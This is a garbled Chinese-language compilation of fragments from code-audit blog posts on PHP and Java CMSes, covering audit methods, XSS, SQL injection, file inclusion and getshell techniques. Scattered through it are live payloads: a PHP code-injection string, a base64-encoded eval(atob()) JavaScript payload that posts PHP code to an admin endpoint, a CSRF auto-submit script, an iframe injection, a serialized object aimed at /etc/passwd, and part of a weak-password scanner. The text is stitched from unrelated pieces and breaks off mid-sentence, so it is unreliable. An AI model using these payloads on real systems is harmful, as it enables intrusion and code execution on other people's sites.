Unicode编码 文件包含 文件包含漏洞的产生原因是在通过引入文件时,引用的文件名用户可控,由于传入的文件名没有经过合理的校验,或者校验被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入 模块加载、cache调用,传入的参数拼接包含路径 include() 使用此函数,只有代码执行到此函数时才将文件包含进来,发生错误时只警告并继续执行。
0x01 前言 今天在“搞基大队”的群里看到@六八表哥发的这篇9CCMS代码审计笔记,审计的版本为1.89,经六表哥同意转发至该公众号,该文章比较适合新手学习。 > payload: 9ccms');phpinfo();//( ? ? Play=';eval(atob('dmFyIGh0dHBSZXF1ZXN0ID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7Cmh0dHBSZXF1ZXN0Lm9wZW4oJ1BPU1QnLCAnaHR0cDovLzE5Mi4xNjguMTguMTMxL2FkbWlueC8% 2fUGhwPUhvbWUvQWQvQWRKcycsIHRydWUpOyAKaHR0cFJlcXVlc3Quc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC10eXBlIiwiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIik7Cmh0dHBSZXF1ZXN0LnNlbmQoJ0FkSnM9MTIzJTNDJTNGcGhwK3BocGluZm8lMjglMjklM0IlM0YlM0Umc3VibWl0PScpOwpodHRwUmVxdWVzdC5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBmdW5jdGlvbiAoKSB7CiAgICBpZiAoaHR0cFJlcXVlc3QucmVhZHlTdGF0ZSA9PSA0ICYmIGh0dHBSZXF1ZXN0LnN0YXR1cyA9PSAyMDApIHsKICAgICAgICB2YXIganNvbiA9IGh0dHBSZXF1ZXN0LnJlc3BvbnNlVGV4dDsKICAgICAgICBjb25zb2xlLmxvZyhqc29uKTsKICAgIH0KfTs
目录 什么是代码审计 代码审计的三种方法 1.通读全文法 2.函数回溯法 3.定向功能分析法 分析过程 工具 主要代码审计方法 1.通读全文法 2.函数回溯法 1.跟踪用户的输入数据 2.敏感函数参数回溯 登录认证 6.数据库备份恢复 7.找回密码 8.验证码 什么是代码审计 代码审计(Code audit)是一种以发现程序错误,安全漏洞和违反程序规范为目标的源代码分析。 代码审计的三种方法 1.通读全文法 通读全文:顾名思义,就是通过对整个程序的代码进行阅读,从而发现问题,这种方法是最全面的,但也是最麻烦的,最容易出错。 如果是大型程序源码,代码量非常大,相当耗费时间,这种方法一般是企业对自己自身产品进行审计,当然,这种方法非常有用,通过阅读得到整个应用的业务逻辑,可以挖掘到更多具有价值的漏洞,对于小型程序源码,也可以使用这种方法进行审计 ,可以根据网站的架构使用不同的方法进行分析,三者结合起来效果最佳 最后,可以将敏感函数回溯,发现漏洞的起源地 工具 seay 主要代码审计方法 1.通读全文法 (1)网站结构 浏览源码文件夹
项目管理中经常讲,合规大于天,在工程上审计部门也会对项目进行代码审计。代码审计和代码审查有什么不同呢? 代码审计和代码审查是软件开发中两个不同的过程,它们在目的、方法和执行时机上有所不同。 1. **方法**: - 代码审计通常由安全专家或专门的审计团队执行,他们可能使用自动化工具和手动分析技术来检查代码中的漏洞和风险。 **执行时机**: - 代码审计通常在软件开发周期的晚期或者发布之前执行,以确保代码的安全性和稳定性。 - 代码审查则是在代码编写的早期和频繁阶段执行,以确保代码质量和规范符合团队的期望。 虽然代码审计和代码审查都是重要的软件开发实践,但它们的目标和方法有所不同,因此在软件开发过程中,通常都会同时进行这两种活动以确保代码的质量和安全性。 单例双重检查锁定 Spring Boot DevTools 发现一个不错的代码审计学习整理的项目,对代码审计感兴趣的小伙伴可以去看看。
然后配置好数据库连接 加载maven依赖 根据本地数据库版本情况 记得调整数据库依赖版本 然后启动 后台地址:http://127.0.0.1:8080/cmscp/index.do 因为刚开始代码也那么多就没有直接看代码 先熟悉熟悉有什么功能点 XSS 随便进入了一篇文章 然后评论 这里发现是没有xss的 但是后面来到“我的空间” 点击评论的时候 这里触发了xss 这里相当于是黑盒摸到的 单既然是审计 就要从代码来看 然后来到最下面这里是save操作 这里也是直接进行存储 说明存入的时候是没有进行过滤的 那最开始没弹 肯定就是输入的问题了 因为摸到弹的情况 直接根据弹的情况来分析为什么回弹 先找到弹的页面的代码 搜索 看看哪里用到了这俩 刚还这里的type=comment对应上之前访问时候的type 所以访问这个页面的时候能触发xss payload没有进行任何过滤 这个页面也没有进行转义 SSRF 在审计 我们来执行 反序列化的细节就不在这篇文章叙述了 请听下回分解 参考:https://www.freebuf.com/articles/others-articles/229928.html JAVA代码审计入门篇
最近在学PHP代码审计,那就将学习的笔记都整理一遍吧~ 前期准备: 当然,最基本的前提是至少大致学过PHP的语法。 1、安装相关软件,如Sublime text、 Notepad++、editplus、 Seay源代码审计系统等 2、获得源码,可以到网上下载各种网站源码 3、安装网站 审计方法: 通读全文法:麻烦但全面 敏感函数参数回溯法:高效常用,Seay源代码审计系统 定向功能分析法:主要根据程序的业务逻辑来审计,首先是用浏览器逐个访问,看看程序有哪些功能,根据相关功能推测可能存在的漏洞 审计的基本流程: 1、整体了解 程序初始安装漏洞 站点信息泄露 文件上传管理 登录认证、权限管理漏洞 数据库备份漏洞 验证码漏洞等 漏洞形成的条件: 1、可控的变量(一切输入都是有害的) 2、变量到达有利用价值的函数(危险的函数) 代码审计的本质 常见的危险函数及特殊函数: 1、PHP代码执行函数: eval(),将字符串作为PHP代码执行 <?
编写解密函数方法: <? 题目 观察完代码后发现为php弱类型绕过。 首先通过读取a,进行POST传递。 当为,data可以通过php://input来接受post数据。 $id传一个字符进去,会被转化为0。 SERVER["REQUEST_METHOD"] $_SERVER["REQUEST_METHOD"]是指表单提交的方式为,GET或POST foreach foreach:循环结构,是遍历数组时常用的方法 , '"', '#', '%', '&', '*', ',', '-', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', '<', 拼凑GET,最后使用同样方法构造。 最后对其进行url编码 完整payload: ?
前言 偶然看到一篇9CCMS(久草CMS) V1.9 弱口令+后台拿shell的文章 兴起去找来源码看看,下载源码 审计了下有下面这些洞 1、前台反射XSS 在文件static/home/videojs 2fUGhwPUhvbWUvQWQvQWRKcycsIHRydWUpOyAKaHR0cFJlcXVlc3Quc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC10eXBlIiwiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIik7Cmh0dHBSZXF1ZXN0LnNlbmQoJ0FkSnM9MTIzJTNDJTNGcGhwK3BocGluZm8lMjglMjklM0IlM0YlM0Umc3VibWl0PScpOwpodHRwUmVxdWVzdC5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBmdW5jdGlvbiAoKSB7CiAgICBpZiAoaHR0cFJlcXVlc3QucmVhZHlTdGF0ZSA9PSA0ICYmIGh0dHBSZXF1ZXN0LnN0YXR1cyA9PSAyMDApIHsKICAgICAgICB2YXIganNvbiA9IGh0dHBSZXF1ZXN0LnJlc3BvbnNlVGV4dDsKICAgICAgICBjb25zb2xlLmxvZyhqc29uKTsKICAgIH0KfTs def title(self): print(''' +-----------------------------------------------------------------+ 漏洞名称:9CCCMS /9ccms \033[0m') if file: for url in file: count += 1 target_url = url.replace('\n', '') #取消换行符 #time.sleep /9ccms\033[0m') else: print(f'[{count}] 响应值为{res.status_code},{target_url} 不存在弱口令') except Exception
代码审计的技术手段,可以弥补黑盒渗透测试的未能完全覆盖的漏洞环节与安全隐患,是一种可靠性、安全性最高的修补漏洞的方法。 代码审计工具使用 seay代码审计工具 一键化自动白盒审计: 提供了自动审计功能,虽然不够精确,但是却能帮助我们迅速找出敏感函数与敏感参数。 代码审计流程与方法 代码审计过程中应该先对大局有所把握,了解要审计的整个网站大概框架是什么,工作流程是什么等。 几种常见审计方法: 通读全文法通读全文发作为一种最麻烦的方法也是最全面的审计方法。特别是针对大型程序,源码成千上万行,这要读到什么时候。但是该方法也是一种必要的方法。 审计总结 审计过程中,我们不要局限于固定的方法,适当的天马行空,找到适合自己的审计思路。 同时审计时,经常需要结合多种方法,不要局限于定性知识。 原创不易,转载请注明来源【爱国小白帽】
java.io.File MultipartFile RequestMethod MultipartHttpServletRequest CommonsMutipartResolver jsp前后端交互功能代码
预与各位分享,共同学习代码审计技术。 本文章仅供安全人员学习攻防技术,请勿用于任何非法行为!!! 本文章仅供安全人员学习攻防技术,请勿用于任何非法行为!!! 2.前台sql注入 该漏洞在网络上已有公开不过我发现大家都没正确的审计到存在注入的点~~ 接下来跟着我分析。 首先,该处漏洞用GET方式访问的时候路径为/index/goods/goods/pid/23 我们从代码层面看看。 FROM `wp_opentime` WHERE ( pid=23 ) LIMIT 1 至于修复方法,这里就不便多说了。 或者自行摸索一下) 7.文件上传 这个功能点是得纯靠代码审计了,前台已经删功能了。不过相关技术就不用多说了。
记录一下代码审计的分析流程。 1.系统重装漏洞 利用条件 安装完成后未删除install.php文件。 漏洞分析 定位到install.php,第6行位置 ?
代码审计顾名思义就是检查源代码中的缺点和错误信息,分析并找到这些问题引发的安全漏洞,并提供代码修订措施和建议。 PHP代码审计 审计套路 通读全文法 (麻烦,但是最全面) 敏感函数参数回溯法 (最高效,最常用) 定向功能分析法 (根据程序的业务逻辑来审计) 初始安装 信息泄露 文件上传 审计方法 1.获取源码 2.本地搭建调试可先使用扫描器识别常见传统漏洞,验证扫描器结果,手动正则 3.把握大局对网站结构,入口文件(查看包含了哪些文件),配置文件(看数据库编码),路由,伪全局变量和全局 参考漏洞:程氏舞曲 CMS 某泄露,导致 sql 注入 wooyun-2014-080370.html 参考漏洞:PHPCMS最新版 ( V9 ) SQL 注入一枚 wooyun-2013-024984 COOKIE 提交来的,而这里也把 COOKIE 循环出来,注册变量,所以这里在 COOKIE 里面提交 GLOBALS 就不会被检测出来,而且也成功注册了 GLOBALS 变量,所以再结合后面的一些些代码就造成了代码执行
代码审计(Code audit)是一种以发现程序错误,安全漏洞和违反程序规范为目标的源代码分析。软件代码审计是对编程项目中源代码的全面分析,旨在发现错误,安全漏洞或违反编程约定。 C和C ++源代码是最常见的审计代码,因为许多高级语言(如Python)具有较少的潜在易受攻击的功能(例如,不检查边界的函数)。 我们的代码审计对象包括并不限于对Windows和Linux系统环境下的以下语言进行审核:java、C、C#、ASP、PHP、JSP、.NET。 认证会话与应用平台的结合 4.数据库的配置规范 5.SQL语句的编写规范 6WEB服务的权限配置 7.对抗爬虫引擎的处理措施 链接:https://pan.baidu.com/s/1QivAsgyLAC6Jx1Dr9LbBcw
ps:感谢北神,小丑师傅给的代码 本文由团队师傅Challenger投稿,转载请标明来源。 1.审计开始 1.为struts框架 查看web.xml中<filter-mapping>的<url-pattern>来确定拦截规则,当是.action时所有以.action为结尾的请求都会被struts 初步审计无需登录或者可以绕过登录的洞 再看struts.xml看对应.action后端处理在那,看到设置了包扫描,所以.action后端处理都在dckj.business下 再看回web.xml看一下全局 在另外的数据库翻到超级管理员的密码这里不加盐但,登进去没啥可以获取学生身份证的功能,废了 在用户登录为另外的网站,输入账号为手机号,密码随手123456 登录成功返回身份证 NB 学号和身份证有了 有了 学号和身份证,回到要代码审计的系统去重置密码 终于可以好好审计了 再次黑白盒结合审计:(有待更新) 才测一下子文件上传就崩了或者关网站了…,没法访问了淦 ,有白名单无法绕过,因为他会重命名00截断对文件名无效,但patn参数直接拼接可控,该系统用
判断是否拥有Header头部验证
这里源码有点问题,就大概讲一下一些技巧首先就是自动加载可以添加一下代码
<script> document.forms[0].submit(); </script>
就是 get然后再通过去加载执行,然后就是xss配合csrf,如果存在点为发文章处,只要加载了就执行了poc
<iframe src='http://aaa/1.html' />
0x07 代码执行 可以看到里面是存在一个变量可能存在代码执行
$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';@eval( 'if(' . 因为new了一个对象所以执行construct(),然后destruct()的时候调用handler方法输出sk4
转到log.class.php,可以很明确的看到有个文件包含
? b'Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjU6ImFkbWluIjtzOjk6IgBVc2VyAHdlbCI7TzozOiJMb2ciOjE6e3M6ODoidHlwZV9sb2ciO3M6MTE6Ii9ldGMvcGFzc3dkIjt9fQ
1.概述 代码审核,是对应用程序源代码进行系统性检查的工作。它的目的是为了找到并且修复应用程序在开发阶段存在的一些漏洞或者程序逻辑错误,避免程序漏洞被非法利用给企业带来不必要的风险。 代码审核不是简单的检查代码,审核代码的原因是确保代码能安全的做到对信息和资源进行足够的保护,所以熟悉整个应用程序的业务流程对于控制潜在的风险是非常重要的。 http://ir.php.net/manual/en/ref.filesystem.php 防范方法: 1.对提交数据进行严格匹配 2.限定文件可操作的目录 9.文件上传 PHP文件上传通常会使用 9.信息泄露 1.phpinfo 如果攻击者可以浏览到程序中调用phpinfo显示的环境信息,会为进一步攻击提供便利 10.PHP环境 1.open_basedir设置 open_basedir能限制应用程序能访问的目录 9.display_errors设置 如果启用此选项,PHP将输出所有的错误或警告信息,攻击者能利用这些信息获取web根路径等敏感信息 10.expose_php设置 如果启用 expose_php 选项
代码审计顾名思义就是检查源代码中的缺点和错误信息,分析并找到这些问题引发的安全漏洞,并提供代码修订措施和建议。 PHP代码审计审计套路通读全文法 (麻烦,但是最全面)敏感函数参数回溯法 (最高效,最常用)定向功能分析法 (根据程序的业务逻辑来审计)初始安装信息泄露文件上传文件管理登录认证数据库备份恢复找回密码验证码越权注入第三方组件 CSRF,SSRF,XSS......审计方法1.获取源码2.本地搭建调试可先使用扫描器识别常见传统漏洞,验证扫描器结果,手动正则3.把握大局对网站结构,入口文件(查看包含了哪些文件),配置文件(看数据库编码 参考漏洞:程氏舞曲 CMS 某泄露,导致 sql 注入参考漏洞:PHPCMS最新版 ( V9 ) SQL 注入一枚3.key泄露参考漏洞:一个 PHPWIND 可拿 shell 的高危漏洞XSS1.输入输出 COOKIE 提交来的,而这里也把 COOKIE 循环出来,注册变量,所以这里在 COOKIE 里面提交 GLOBALS 就不会被检测出来,而且也成功注册了 GLOBALS 变量,所以再结合后面的一些些代码就造成了代码执行
前言 参考 @s31k3 师傅的 java SpringBoot框架代码审计 ,本文仅复现这位师傅的教程,用于学习springboot代码审计,特此笔记,原文请关注 @s31k3 环境搭建 审计的项目是 由于最新版的项目已修复多个漏洞,本文使用的是 Oct 17, 2019 的版本,项目地址 https://github.com/newbee-ltd/newbee-mall/tree/36807c87d13ee9ca08aff75197063b8836d8711d 来标识,并被传递到一个新的预处理语句中,就像这样: // 近似的 JDBC 代码,非 MyBatis 代码... 同时审计其他地方也未发现有任何的过滤或替换。但这里没有XSS成功,原因是项目使用了 thymeleaf 模板来渲染,模板自带有字符转义的功能。 水平越权 审计代码,在修改用户信息这里 ltd/newbee/mall/controller/mall/PersonalController.java:114 查看下 updateUserInfo()
该文章来自于 掣雷安全小组 Gr33k ---- 前言 朋友买了一套php源码,要做类似于证书查询的功能,让我帮忙审计一下有没有高危的漏洞,仅挖掘getshell,告知我这个系统是由ecms也就是帝国 执行完毕后,将在该目录下生成c.php直接访问即可getshell 四、经过一番熟悉,我们发现这套php代码的逻辑还是十分清晰的,虽然是经过阉割的ecms,但是保留了老版本的php问题代码,也许这套源码在 这里可以新建一个栏目进去,我随意输入11111111111111,然后添加成功,这时我利用审计工具搜索到了这个字符串已经被我写入到了文件中,可以看到在下面的这两个文件中,都出现了对应的字符串,有戏!。 九、既然单引号被转义了那么就不能执行php代码,具体的代码逻辑我也查看过了,是没有办法绕过,既然如此我们就换个位置继续尝试,这次,惊喜来了。 ? > 最后这条语句是检测我们的代码究竟有没有执行成功,若是成功phpinfo就会显示出来,另外config文件不能直接访问来触发,需要点击别的功能使它被包含才会执行其中的代码。 ? ?